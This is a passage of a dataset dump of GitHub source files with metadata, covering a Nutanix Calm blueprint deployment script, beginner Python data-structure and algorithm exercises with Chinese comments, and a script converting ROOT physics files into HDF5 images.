self.username, self.password)\\n\\n bp_uuid, bp_spec = self.build_blueprintSpec(self.calm_appname, self.calm_appprofilename, self.calm_bpname, self.calm_prjname)\\n \\n self.manager.launch_blueprint(bp_uuid, bp_spec)\\n\\n def build_blueprintSpec(self, calm_appname, calm_appprofilename, calm_bpname, calm_prjname): \\n bp_uuid = self.manager.get_blueprint_uuid(calm_bpname)\\n bp_spec = self.manager.get_blueprint(bp_uuid)\\n bp_spec.pop('status')\\n bp_spec['spec'].pop('name')\\n bp_spec['spec']['application_name'] = calm_appname\\n\\n app_profile_uuid = None\\n app_profile_list = bp_spec['spec']['resources']['app_profile_list']\\n i = 0\\n while i < len(app_profile_list):\\n app_profile = app_profile_list[i]\\n if app_profile['name'] == calm_appprofilename:\\n app_profile_uuid = app_profile['uuid']\\n break \\n i += 1\\n if app_profile_uuid == None:\\n raise Exception(\\\"App profile with name \\\" + calm_appprofilename + \\\" not found in list\\\")\\n app_profile_reference = {}\\n app_profile_reference['kind'] = 'app_profile'\\n app_profile_reference['uuid'] = app_profile_uuid\\n bp_spec['spec']['app_profile_reference'] = app_profile_reference\\n return bp_uuid, bp_spec\\n\\nCalmAzureDevOps()\\n\"\n },\n {\n \"alpha_fraction\": 0.6246617436408997,\n \"alphanum_fraction\": 0.6312330961227417,\n \"avg_line_length\": 20.213115692138672,\n \"blob_id\": \"3e3720c6a9517bbe1e2f0b6131c281c900d9be34\",\n \"content_id\": \"046c810d48191d5778e9b24199e32563bfab9ab2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2587,\n \"license_type\": \"no_license\",\n \"max_line_length\": 103,\n \"num_lines\": 122,\n \"path\": \"/azuredevops-master/main.py\",\n \"repo_name\": \"msmenezesbr84/nutanix_Personal_mm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os\\nimport json\\n\\nfrom calm.dsl.builtins import Service, Package, Substrate\\nfrom calm.dsl.builtins import Deployment, Profile, Blueprint\\nfrom calm.dsl.builtins import action, ref, basic_cred, CalmTask\\nfrom calm.dsl.builtins import read_local_file, read_ahv_spec, read_vmw_spec, read_file\\nfrom calm.dsl.builtins import vm_disk_package\\nfrom calm.dsl.builtins import read_env\\n\\nimport sys\\nsys.path.append('')\\n\\nfrom variablestemplate import *\\n\\n# Import .env variables\\nENV = read_env()\\n\\nAHV_CENTOS_76 = vm_disk_package(\\n name=\\\"AHV_CENTOS_76\\\",\\n config={\\n # By default image type is set to DISK_IMAGE\\n \\\"image\\\": {\\n \\\"source\\\": ENV.get(\\\"CENTOS_IMAGE_SOURCE\\\")\\n }\\n },\\n)\\n\\n# Credentials definition\\nCREDENTIALS = read_env('.local/credentials')\\n\\nOS_USERNAME = os.getenv(\\\"OS_USERNAME\\\") or CREDENTIALS.get(\\\"OS_USERNAME\\\")\\nOS_PASSWORD = os.getenv(\\\"OS_PASSWORD\\\") or CREDENTIALS.get(\\\"OS_PASSWORD\\\")\\n\\nCred_OS = basic_cred(\\n username=OS_USERNAME,\\n password=OS_PASSWORD,\\n name=\\\"Cred_OS\\\",\\n default=True,\\n type=\\\"PASSWORD\\\"\\n)\\n\\n\\nclass CentOS(Service):\\n \\\"\\\"\\\"CentOS for Launching Demo\\\"\\\"\\\"\\n\\n\\nclass CentOS_Package(Package):\\n \\\"\\\"\\\"CentOS Package\\\"\\\"\\\"\\n\\n services = [ref(CentOS)]\\n\\n\\nclass CentOS_Substrate(Substrate):\\n \\\"\\\"\\\"CentOS Substrate\\\"\\\"\\\"\\n\\n os_type = \\\"Linux\\\"\\n\\n provider_spec = read_ahv_spec(\\n \\\"centos-spec.yaml\\\",\\n disk_packages={1: AHV_CENTOS_76}\\n )\\n\\n provider_spec.spec[\\\"name\\\"] = \\\"@@{calm_application_name}@@\\\"\\n provider_spec.spec[\\\"resources\\\"][\\\"nic_list\\\"][0][\\\"subnet_reference\\\"][\\\"name\\\"] = ENV.get(\\\"SUBNET_NAME\\\")\\n provider_spec.spec[\\\"resources\\\"][\\\"nic_list\\\"][0][\\\"subnet_reference\\\"][\\\"uuid\\\"] = ENV.get(\\\"SUBNET_UUID\\\")\\n\\n\\n readiness_probe = {\\n \\\"disabled\\\": False,\\n \\\"delay_secs\\\": \\\"60\\\",\\n \\\"connection_type\\\": \\\"SSH\\\",\\n \\\"connection_port\\\": 22,\\n \\\"credential\\\": ref(Cred_OS),\\n }\\n\\n\\nclass CentOS_Deployment(Deployment):\\n \\\"\\\"\\\"CentOS Deployment\\\"\\\"\\\"\\n\\n min_replicas = \\\"1\\\"\\n max_replicas = \\\"1\\\"\\n\\n packages = [ref(CentOS_Package)]\\n substrate = ref(CentOS_Substrate)\\n\\n\\nclass Default(Profile):\\n \\\"\\\"\\\"CentOS Profile\\\"\\\"\\\"\\n\\n ENVIRONMENT = ENVIRONMENT\\n\\n deployments = [\\n CentOS_Deployment\\n ]\\n\\n\\nclass CentOS_Blueprint(Blueprint):\\n \\\"\\\"\\\"CentOS Blueprint\\\"\\\"\\\"\\n\\n credentials = [\\n Cred_OS\\n ]\\n services = [\\n CentOS\\n ]\\n packages = [\\n CentOS_Package,\\n AHV_CENTOS_76\\n ]\\n substrates = [\\n CentOS_Substrate\\n ]\\n profiles = [Default]\\n\\n\\ndef main():\\n print(Workload_Mobility_Setup.json_dumps(pprint=True))\\n\\n\\nif __name__ == \\\"__main__\\\":\\n main()\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":4,"string":"4"}}},{"rowIdx":2978334,"cells":{"repo_name":{"kind":"string","value":"wsv587/Data-Structure-and-Algorithms"},"repo_url":{"kind":"string","value":"https://github.com/wsv587/Data-Structure-and-Algorithms"},"snapshot_id":{"kind":"string","value":"d6f028874d925930b73eb856b5fd8359d4244920"},"revision_id":{"kind":"string","value":"c9eeccf3e5271cb053d74dcf5e552611ed19f632"},"directory_id":{"kind":"string","value":"4fb87c66f4ab6d04393919cc1b7e0f517577292d"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-07-02T06:27:01.940337","string":"2021-07-02T06:27:01.940337"},"revision_date":{"kind":"timestamp","value":"2020-10-12T01:55:22","string":"2020-10-12T01:55:22"},"committer_date":{"kind":"timestamp","value":"2020-10-12T01:55:22","string":"2020-10-12T01:55:22"},"github_id":{"kind":"number","value":181307893,"string":"181,307,893"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5500633716583252,"alphanum_fraction":0.6463878154754639,"avg_line_length":16.55555534362793,"blob_id":"a45ba08366fde2d757665422a287d0c4ee0fd3f3","content_id":"df3f6adef3638508090bb318b9905c829ece0b17","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":871,"license_type":"permissive","max_line_length":67,"num_lines":45,"path":"/Python/SwapTwoValue.py","repo_name":"wsv587/Data-Structure-and-Algorithms","src_encoding":"UTF-8","text":"# 方式一 中间变量\ndef swap1(value1, value2):\n temp = value1\n value1 = value2\n value2 = temp\n return value1, value2\n\n\ntup = swap1(666, 999)\nprint(tup)\n\n\n# 方式二 python特有\ndef swap2(value1, value2):\n value1, value2 = value2, value1\n return value1, value2 # 返回元组，不需要加括号\n\n\nvalueA = 10\nvalueB = 20\ntup = swap2(valueA, valueB) # 元组\nprint(tup)\n\n\n# 方式三 数学算法\ndef swap3(value1, value2):\n value1 = value1 - value2\n value2 = value1 + value2 # value2 = (value1 - value2) + value2\n value1 = value2 - value1 # value1 = value1 - (value1 - value2)\n return value1, value2\n\n\ntup = swap3(1, 2)\nprint(tup)\n\n# 方式四 按位操作 异或\ndef swap4(value1, value2):\n value1 = value1 ^ value2\n value2 = value1 ^ value2\n value1 = value1 ^ value2\n\n return value1, value2\n\n\nprint(swap4(111, 222))"},{"alpha_fraction":0.47708702087402344,"alphanum_fraction":0.4884546995162964,"avg_line_length":21.309524536132812,"blob_id":"5c9d6c89bf75f0bd938ddd54ec99fee71dd67992","content_id":"30779bfd6b110628a203dc0e2288fcd89e7c566a","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2815,"license_type":"permissive","max_line_length":47,"num_lines":126,"path":"/Python/List/LinkList.py","repo_name":"wsv587/Data-Structure-and-Algorithms","src_encoding":"UTF-8","text":"class Node:\n __slots__ = ['data', 'next']\n\n def __init__(self):\n self.data = None\n self.next = None\n\n def __init__(self, data, next):\n self.data = data\n self.next = next\n\n\nclass LinkList:\n __slots__ = ['first', 'last', '__size']\n\n def __init__(self):\n self.first = None\n self.last = None\n self.__size = 0\n\n def add(self, obj):\n if self.__size == 0:\n self.first = Node(obj, self.first)\n else:\n prev = self.__node(self.__size - 1)\n prev.next = Node(obj, None)\n self.__size += 1\n\n def insert(self, obj, idx):\n if idx == 0:\n self.first = Node(obj, self.first)\n else:\n prev = self.__node(idx - 1)\n prev.next = Node(obj, prev.next)\n self.__size += 1\n\n def remove_at_index(self, idx):\n if idx == 0:\n self.first = self.first.next\n else:\n prev = self.__node(idx - 1)\n prev.next = prev.next.next\n self.__size -= 1\n\n def remove(self, obj):\n prev = self.__prev_node_of(obj)\n prev.next = prev.next.next\n self.__size -= 1\n\n def pop(self):\n prev = self.__node(self.__size - 1)\n prev.next = prev.next.next\n self.__size -= 1\n\n def object_at_index(self, idx):\n node = self.__node(idx)\n return node.data\n\n def index_of(self, obj):\n node = self.__node_of(obj)\n return node.data\n\n def contains(self, obj):\n node = self.first\n for _ in range(0, self.__size - 1):\n if node.data is obj:\n return True\n node = node.next\n return False\n\n def is_empty(self):\n return self.__size == 0\n\n def clear(self):\n self.first = None\n self.__size = 0\n\n def size(self):\n return self.__size\n\n def __node(self, idx):\n node = self.first\n for i in range(0, idx):\n node = node.next\n return node\n\n def __node_of(self, obj):\n node = self.first\n\n for _ in range(0, self.__size - 1):\n if node.data is obj:\n return node\n node = node.next\n return None\n\n def __prev_node_of(self, obj):\n node = self.first\n prev = None\n for _ in range(0, self.__size - 1):\n if node.data is obj:\n return node\n prev = node\n node = node.next\n return prev\n\n @classmethod\n def link_list(cls):\n return cls()\n\n# list = LinkList()\n# list.__element = [2]\n#\n# print(list.__element)\n\n\nlist = LinkList.link_list()\nlist.add('1')\nlist.add('2')\nlist.add('3')\nprint(list.size())\nlist.insert('0', 1)\nprint(list.size())\nlist.insert('0', 0)\nprint(list.size())\nlist.insert('5', 5)\nprint(list.size())\n\n\n\n\n"},{"alpha_fraction":0.824999988079071,"alphanum_fraction":0.824999988079071,"avg_line_length":19,"blob_id":"12a3606b180dab10c1fd44f6624ae1a4c22c1ba8","content_id":"05c1e8914db9603b61536cd45d69cc5c531d35f9","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":54,"license_type":"permissive","max_line_length":31,"num_lines":2,"path":"/README.md","repo_name":"wsv587/Data-Structure-and-Algorithms","src_encoding":"UTF-8","text":"# Data-Structure-and-Algorithms\n数据结构和算法\n"},{"alpha_fraction":0.4519940912723541,"alphanum_fraction":0.506646990776062,"avg_line_length":12.816326141357422,"blob_id":"bf75a1c2bf198b0bc02638f4c40e12bd863f9fb6","content_id":"65c16a8ebe9ad4451d9e959385a473f7adadbf88","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":777,"license_type":"permissive","max_line_length":43,"num_lines":49,"path":"/Python/Fibonacci.py","repo_name":"wsv587/Data-Structure-and-Algorithms","src_encoding":"UTF-8","text":"# 斐波那契数列\n# 0, 1, 1, 2, 3, 5, 8, 13, 21, 34 ...\n\n# 递归方式实现斐波那契数列\ndef fib(n):\n if n <= 1:\n return n\n return fib(n - 1) + fib(n - 2)\n\n\nresult = fib(8)\n\n\nprint(result)\n\n# for循环方式实现斐波那契数列\ndef fib1(n):\n if n <= 1:\n return n\n\n first = 0\n second = 1\n sum = 0\n for i in range(0, n - 1):\n sum = first + second\n first = second\n second = sum\n\n return sum\n\n\nresult = fib1(8)\nprint(result)\n\n\n# 数组方式实现斐波那契数列\ndef fib2(n):\n if n <= 1:\n return n\n\n arr = [0, 1]\n # range(min, max)不包括max, 所以此处是n+1\n for i in range(2, n+1):\n arr.append(arr[i - 1] + arr[i - 2])\n return max(arr)\n\n\nresult = fib2(8)\nprint(result)\n"},{"alpha_fraction":0.5484452247619629,"alphanum_fraction":0.5669220089912415,"avg_line_length":22.606382369995117,"blob_id":"f9d1a16698d71c8c616700846fccd934376fb108","content_id":"88bf55568019e2e170e9cc577468b7bfaa3f3bac","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2535,"license_type":"permissive","max_line_length":84,"num_lines":94,"path":"/Python/List/ArrayList.py","repo_name":"wsv587/Data-Structure-and-Algorithms","src_encoding":"UTF-8","text":"import os\n\n\nclass ArrayList:\n ```创建一个arraylist对象```\n\n # size\n # defaultCount\n # elements\n # 对象方法、类方法、静态方法、对象属性、类属性前加两个下划线代表private私有\n\n __DEFAULT_COUNT = 10\n # 限制对象只可以动态增加这两个对象属性\n __slots__ = ['__elements', '__size'] # 对象属性前加两个下划线代表私有，外界不可访问\n\n def __init__(self):\n self.__elements = []\n self.__size = 0\n # print('init __size = %d'%(self.__size))\n\n # 类方法\n @classmethod\n def array_list(cls):\n return cls() # 也可以 return ArrayList()\n\n # 对象方法\n def add(self, obj):\n self.__elements.append(obj) # python 中不能使用list[idx] = xxx来添加元素，否则会报越界错误\n self.__size += 1\n print(self.__elements, self.__size)\n\n def remove_at_index(self, idx):\n for i in range(idx, self.__size - 1):\n print(i)\n self.__elements[idx] = self.__elements[idx + 1]\n del self.__elements[self.__size - 1] # 目前只想到这个方法，python貌似不支持设置为null\n # self.__elements[self.__size - 1] = None # 不能使用None,None也是对象\n self.__size -= 1\n print(self.__elements)\n\n def remove(self, obj):\n idx = self.index_of(obj) # 之所以不用contains方法，因为避免先调用contains、再调用index_of而消耗性能\n if idx == -1:\n return\n self.remove_at_index(idx)\n\n def pop(self):\n del self.__elements[self.__size - 1]\n # self.__elements[self.__size - 1] = None\n self.__size -= 1\n\n def object_at_index(self, idx):\n return self.__elements[idx]\n\n def index_of(self, obj):\n for i in range(0, self.__size):\n if self.__elements[i] == obj:\n return i\n return -1\n\n def contains(self, obj):\n return self.index_of(obj) != -1\n\n def is_empty(self):\n return self.__size == 0\n\n def clear(self):\n self.__elements = []\n\n def size(self):\n return self.__size\n\n\n# list = ArrayList()\n# list.add(12)\n# print(list.elements)\n# list.elements = [2, 4]\n# print(list.elements)\n\nlist = ArrayList.array_list()\n# list.__elements = [999]\n# print(list.__elements)\n\nlist.add(12)\nprint(list)\nlist.add(24)\nlist.remove_at_index(0)\nlist.add(666)\nlist.add(888)\n\nprint(list.index_of(666))\nprint(list.object_at_index(2))\nprint(list.contains(24))\nprint (list.is_empty())\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5500633716583252,\n \"alphanum_fraction\": 0.6463878154754639,\n \"avg_line_length\": 16.55555534362793,\n \"blob_id\": \"a45ba08366fde2d757665422a287d0c4ee0fd3f3\",\n \"content_id\": \"df3f6adef3638508090bb318b9905c829ece0b17\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 871,\n \"license_type\": \"permissive\",\n \"max_line_length\": 67,\n \"num_lines\": 45,\n \"path\": \"/Python/SwapTwoValue.py\",\n \"repo_name\": \"wsv587/Data-Structure-and-Algorithms\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# 方式一 中间变量\\ndef swap1(value1, value2):\\n temp = value1\\n value1 = value2\\n value2 = temp\\n return value1, value2\\n\\n\\ntup = swap1(666, 999)\\nprint(tup)\\n\\n\\n# 方式二 python特有\\ndef swap2(value1, value2):\\n value1, value2 = value2, value1\\n return value1, value2 # 返回元组，不需要加括号\\n\\n\\nvalueA = 10\\nvalueB = 20\\ntup = swap2(valueA, valueB) # 元组\\nprint(tup)\\n\\n\\n# 方式三 数学算法\\ndef swap3(value1, value2):\\n value1 = value1 - value2\\n value2 = value1 + value2 # value2 = (value1 - value2) + value2\\n value1 = value2 - value1 # value1 = value1 - (value1 - value2)\\n return value1, value2\\n\\n\\ntup = swap3(1, 2)\\nprint(tup)\\n\\n# 方式四 按位操作 异或\\ndef swap4(value1, value2):\\n value1 = value1 ^ value2\\n value2 = value1 ^ value2\\n value1 = value1 ^ value2\\n\\n return value1, value2\\n\\n\\nprint(swap4(111, 222))\"\n },\n {\n \"alpha_fraction\": 0.47708702087402344,\n \"alphanum_fraction\": 0.4884546995162964,\n \"avg_line_length\": 21.309524536132812,\n \"blob_id\": \"5c9d6c89bf75f0bd938ddd54ec99fee71dd67992\",\n \"content_id\": \"30779bfd6b110628a203dc0e2288fcd89e7c566a\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2815,\n \"license_type\": \"permissive\",\n \"max_line_length\": 47,\n \"num_lines\": 126,\n \"path\": \"/Python/List/LinkList.py\",\n \"repo_name\": \"wsv587/Data-Structure-and-Algorithms\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"class Node:\\n __slots__ = ['data', 'next']\\n\\n def __init__(self):\\n self.data = None\\n self.next = None\\n\\n def __init__(self, data, next):\\n self.data = data\\n self.next = next\\n\\n\\nclass LinkList:\\n __slots__ = ['first', 'last', '__size']\\n\\n def __init__(self):\\n self.first = None\\n self.last = None\\n self.__size = 0\\n\\n def add(self, obj):\\n if self.__size == 0:\\n self.first = Node(obj, self.first)\\n else:\\n prev = self.__node(self.__size - 1)\\n prev.next = Node(obj, None)\\n self.__size += 1\\n\\n def insert(self, obj, idx):\\n if idx == 0:\\n self.first = Node(obj, self.first)\\n else:\\n prev = self.__node(idx - 1)\\n prev.next = Node(obj, prev.next)\\n self.__size += 1\\n\\n def remove_at_index(self, idx):\\n if idx == 0:\\n self.first = self.first.next\\n else:\\n prev = self.__node(idx - 1)\\n prev.next = prev.next.next\\n self.__size -= 1\\n\\n def remove(self, obj):\\n prev = self.__prev_node_of(obj)\\n prev.next = prev.next.next\\n self.__size -= 1\\n\\n def pop(self):\\n prev = self.__node(self.__size - 1)\\n prev.next = prev.next.next\\n self.__size -= 1\\n\\n def object_at_index(self, idx):\\n node = self.__node(idx)\\n return node.data\\n\\n def index_of(self, obj):\\n node = self.__node_of(obj)\\n return node.data\\n\\n def contains(self, obj):\\n node = self.first\\n for _ in range(0, self.__size - 1):\\n if node.data is obj:\\n return True\\n node = node.next\\n return False\\n\\n def is_empty(self):\\n return self.__size == 0\\n\\n def clear(self):\\n self.first = None\\n self.__size = 0\\n\\n def size(self):\\n return self.__size\\n\\n def __node(self, idx):\\n node = self.first\\n for i in range(0, idx):\\n node = node.next\\n return node\\n\\n def __node_of(self, obj):\\n node = self.first\\n\\n for _ in range(0, self.__size - 1):\\n if node.data is obj:\\n return node\\n node = node.next\\n return None\\n\\n def __prev_node_of(self, obj):\\n node = self.first\\n prev = None\\n for _ in range(0, self.__size - 1):\\n if node.data is obj:\\n return node\\n prev = node\\n node = node.next\\n return prev\\n\\n @classmethod\\n def link_list(cls):\\n return cls()\\n\\n# list = LinkList()\\n# list.__element = [2]\\n#\\n# print(list.__element)\\n\\n\\nlist = LinkList.link_list()\\nlist.add('1')\\nlist.add('2')\\nlist.add('3')\\nprint(list.size())\\nlist.insert('0', 1)\\nprint(list.size())\\nlist.insert('0', 0)\\nprint(list.size())\\nlist.insert('5', 5)\\nprint(list.size())\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.824999988079071,\n \"alphanum_fraction\": 0.824999988079071,\n \"avg_line_length\": 19,\n \"blob_id\": \"12a3606b180dab10c1fd44f6624ae1a4c22c1ba8\",\n \"content_id\": \"05c1e8914db9603b61536cd45d69cc5c531d35f9\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 54,\n \"license_type\": \"permissive\",\n \"max_line_length\": 31,\n \"num_lines\": 2,\n \"path\": \"/README.md\",\n \"repo_name\": \"wsv587/Data-Structure-and-Algorithms\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Data-Structure-and-Algorithms\\n数据结构和算法\\n\"\n },\n {\n \"alpha_fraction\": 0.4519940912723541,\n \"alphanum_fraction\": 0.506646990776062,\n \"avg_line_length\": 12.816326141357422,\n \"blob_id\": \"bf75a1c2bf198b0bc02638f4c40e12bd863f9fb6\",\n \"content_id\": \"65c16a8ebe9ad4451d9e959385a473f7adadbf88\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 777,\n \"license_type\": \"permissive\",\n \"max_line_length\": 43,\n \"num_lines\": 49,\n \"path\": \"/Python/Fibonacci.py\",\n \"repo_name\": \"wsv587/Data-Structure-and-Algorithms\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# 斐波那契数列\\n# 0, 1, 1, 2, 3, 5, 8, 13, 21, 34 ...\\n\\n# 递归方式实现斐波那契数列\\ndef fib(n):\\n if n <= 1:\\n return n\\n return fib(n - 1) + fib(n - 2)\\n\\n\\nresult = fib(8)\\n\\n\\nprint(result)\\n\\n# for循环方式实现斐波那契数列\\ndef fib1(n):\\n if n <= 1:\\n return n\\n\\n first = 0\\n second = 1\\n sum = 0\\n for i in range(0, n - 1):\\n sum = first + second\\n first = second\\n second = sum\\n\\n return sum\\n\\n\\nresult = fib1(8)\\nprint(result)\\n\\n\\n# 数组方式实现斐波那契数列\\ndef fib2(n):\\n if n <= 1:\\n return n\\n\\n arr = [0, 1]\\n # range(min, max)不包括max, 所以此处是n+1\\n for i in range(2, n+1):\\n arr.append(arr[i - 1] + arr[i - 2])\\n return max(arr)\\n\\n\\nresult = fib2(8)\\nprint(result)\\n\"\n },\n {\n \"alpha_fraction\": 0.5484452247619629,\n \"alphanum_fraction\": 0.5669220089912415,\n \"avg_line_length\": 22.606382369995117,\n \"blob_id\": \"f9d1a16698d71c8c616700846fccd934376fb108\",\n \"content_id\": \"88bf55568019e2e170e9cc577468b7bfaa3f3bac\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2535,\n \"license_type\": \"permissive\",\n \"max_line_length\": 84,\n \"num_lines\": 94,\n \"path\": \"/Python/List/ArrayList.py\",\n \"repo_name\": \"wsv587/Data-Structure-and-Algorithms\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os\\n\\n\\nclass ArrayList:\\n ```创建一个arraylist对象```\\n\\n # size\\n # defaultCount\\n # elements\\n # 对象方法、类方法、静态方法、对象属性、类属性前加两个下划线代表private私有\\n\\n __DEFAULT_COUNT = 10\\n # 限制对象只可以动态增加这两个对象属性\\n __slots__ = ['__elements', '__size'] # 对象属性前加两个下划线代表私有，外界不可访问\\n\\n def __init__(self):\\n self.__elements = []\\n self.__size = 0\\n # print('init __size = %d'%(self.__size))\\n\\n # 类方法\\n @classmethod\\n def array_list(cls):\\n return cls() # 也可以 return ArrayList()\\n\\n # 对象方法\\n def add(self, obj):\\n self.__elements.append(obj) # python 中不能使用list[idx] = xxx来添加元素，否则会报越界错误\\n self.__size += 1\\n print(self.__elements, self.__size)\\n\\n def remove_at_index(self, idx):\\n for i in range(idx, self.__size - 1):\\n print(i)\\n self.__elements[idx] = self.__elements[idx + 1]\\n del self.__elements[self.__size - 1] # 目前只想到这个方法，python貌似不支持设置为null\\n # self.__elements[self.__size - 1] = None # 不能使用None,None也是对象\\n self.__size -= 1\\n print(self.__elements)\\n\\n def remove(self, obj):\\n idx = self.index_of(obj) # 之所以不用contains方法，因为避免先调用contains、再调用index_of而消耗性能\\n if idx == -1:\\n return\\n self.remove_at_index(idx)\\n\\n def pop(self):\\n del self.__elements[self.__size - 1]\\n # self.__elements[self.__size - 1] = None\\n self.__size -= 1\\n\\n def object_at_index(self, idx):\\n return self.__elements[idx]\\n\\n def index_of(self, obj):\\n for i in range(0, self.__size):\\n if self.__elements[i] == obj:\\n return i\\n return -1\\n\\n def contains(self, obj):\\n return self.index_of(obj) != -1\\n\\n def is_empty(self):\\n return self.__size == 0\\n\\n def clear(self):\\n self.__elements = []\\n\\n def size(self):\\n return self.__size\\n\\n\\n# list = ArrayList()\\n# list.add(12)\\n# print(list.elements)\\n# list.elements = [2, 4]\\n# print(list.elements)\\n\\nlist = ArrayList.array_list()\\n# list.__elements = [999]\\n# print(list.__elements)\\n\\nlist.add(12)\\nprint(list)\\nlist.add(24)\\nlist.remove_at_index(0)\\nlist.add(666)\\nlist.add(888)\\n\\nprint(list.index_of(666))\\nprint(list.object_at_index(2))\\nprint(list.contains(24))\\nprint (list.is_empty())\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":5,"string":"5"}}},{"rowIdx":2978335,"cells":{"repo_name":{"kind":"string","value":"UTA-HEP-Computing/DLTool"},"repo_url":{"kind":"string","value":"https://github.com/UTA-HEP-Computing/DLTool"},"snapshot_id":{"kind":"string","value":"90a6c92d14045efaf5bc449a3fb4c248677d53d4"},"revision_id":{"kind":"string","value":"b6510df248d068ca394be8242361bb1d154284bd"},"directory_id":{"kind":"string","value":"d35ed20f3c7c8323dd5066060a5f9f022fbc6e45"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-06-16T10:03:02.709563","string":"2020-06-16T10:03:02.709563"},"revision_date":{"kind":"timestamp","value":"2016-11-30T00:30:08","string":"2016-11-30T00:30:08"},"committer_date":{"kind":"timestamp","value":"2016-11-30T00:30:08","string":"2016-11-30T00:30:08"},"github_id":{"kind":"number","value":75117064,"string":"75,117,064"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6911764740943909,"alphanum_fraction":0.7426470518112183,"avg_line_length":33,"blob_id":"160490d64a3b75af9513d76a7f6caae84af28515","content_id":"09593daf01f8880b5bcb97770935ee18c8431319","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":136,"license_type":"no_license","max_line_length":93,"num_lines":4,"path":"/README.md","repo_name":"UTA-HEP-Computing/DLTool","src_encoding":"UTF-8","text":"# DLTool\n3D/2D h5 files\n####How to Run###\npython ProcessRootFile_WireCell.py /input-directory-of-root-files/ output-2d-H5 output-3d-H5\n"},{"alpha_fraction":0.5910722017288208,"alphanum_fraction":0.6294302344322205,"avg_line_length":22.712766647338867,"blob_id":"875a293fc40a4948424abf3fe09af71b9d68c68b","content_id":"0f92d34d8b267ad9a82ca03fc88e26fcdedc2bb5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4458,"license_type":"no_license","max_line_length":133,"num_lines":188,"path":"/ProcessRootFile_WireCell.py","repo_name":"UTA-HEP-Computing/DLTool","src_encoding":"UTF-8","text":"import time\nimport ROOT\nimport rootpy\nimport root_numpy\nimport numpy\nimport math\nimport sys\nimport os\nimport glob\nfrom SparseTensorDataSet import *\n\nfrom scipy import misc as m\nfrom WireDataUtils import *\nfrom subprocess import call\nimport multiprocessing \n\ndef preprocess(X):\n return X[:2,:,0:4096] \n\ndef ProcessEvents(NEvents,infile,outfile2D,outfile3D,Offset=0):\n \n bins3D=[240,240,4096]\n #bins2D=[480,4096]\n\n # ReadEvents\n f=ROOT.TFile(infile)\n t=f.Get(\"wiredump/anatree\")\n if NEvents<=0:\n NEvents=t.GetEntries()\n \n EventList=range(0,NEvents)\n\n\n #Read one event.\n [example,Attributes]=ReadADCWire(t,[EventList[0]],NPlanes=2,samples=4500)\n\n X=preprocess(example[0])\n image_shape= X.shape\n assert image_shape == (2, 240, 4096)\n\n dtype = 'float16' # 'float16' # Half-precision should be enough.\n compression = 'gzip' #'gzip'\n chunksize = 1 # We use chunksize=1 because we don't know how many events are in src file.\n chunkshape = (chunksize,) + image_shape\n\n h5FileName2D=outfile2D\n h5out2D= h5py.File(h5FileName2D+\".2d.h5\",\"w\")\n h5FileName3D=outfile3D\n #h5out3D= h5py.File(h5FileName3D+\".3d.h5\",\"w\")\n \n #file to save 3D images\n #fileout3D=os.path.basename(infile)+\".3d.h5\"\n f_3D=open_file(h5FileName3D+\".3d.h5\",\"w\")\n #images3D.Writeh5(h5out3D,\"images3D\")\n #f.close()\n \n\n N=len(EventList)\n \n # Initialize data sets.\n dsets = {}\n\n # Each event contains the following attributes.\n attributes = Attributes[0].keys()\n for attr in attributes:\n \n dsets[attr] = h5out2D.create_dataset(attr, (N,), dtype='float32')\n\n # Each event is an image of image_shape.\n dsets['features'] = h5out2D.create_dataset('features', (N,)+image_shape, chunks=chunkshape, dtype=dtype, compression=compression)\n #getting 3D sparse matrix for 3D imaging\n images3D=SparseTensorDataSet(bins3D,unbinned=True)\n \n for EventI in xrange(0,N):\n \n [events,Attributes]=ReadADCWire(t,[EventList[EventI]],NPlanes=2,samples=4500)\n \n event=events[0]\n dsets['features'][EventI] = preprocess(event)\n\n for attr in Attributes[0]:\n dsets[attr][EventI] = Attributes[0][attr]\n \n 